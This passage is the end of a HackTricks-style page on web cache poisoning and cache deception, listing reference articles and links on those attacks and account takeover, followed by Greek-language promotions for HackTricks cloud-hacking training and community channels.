- https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
- https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/
- How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities
- Burp Proxy Match & Replace
- watchTowr Labs – Sitecore XP cache poisoning → RCE
- Cache Deception + CSPT: Turning Non Impactful Findings into Account Takeover
- CSPT overview by Matan Berson
- CSPT presentation by Maxence Schmitt
- PortSwigger: Web Cache Deception
- Cache Poisoning Case Studies Part 1: Foundational Attacks Behind a $100K+ Vulnerability Class
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


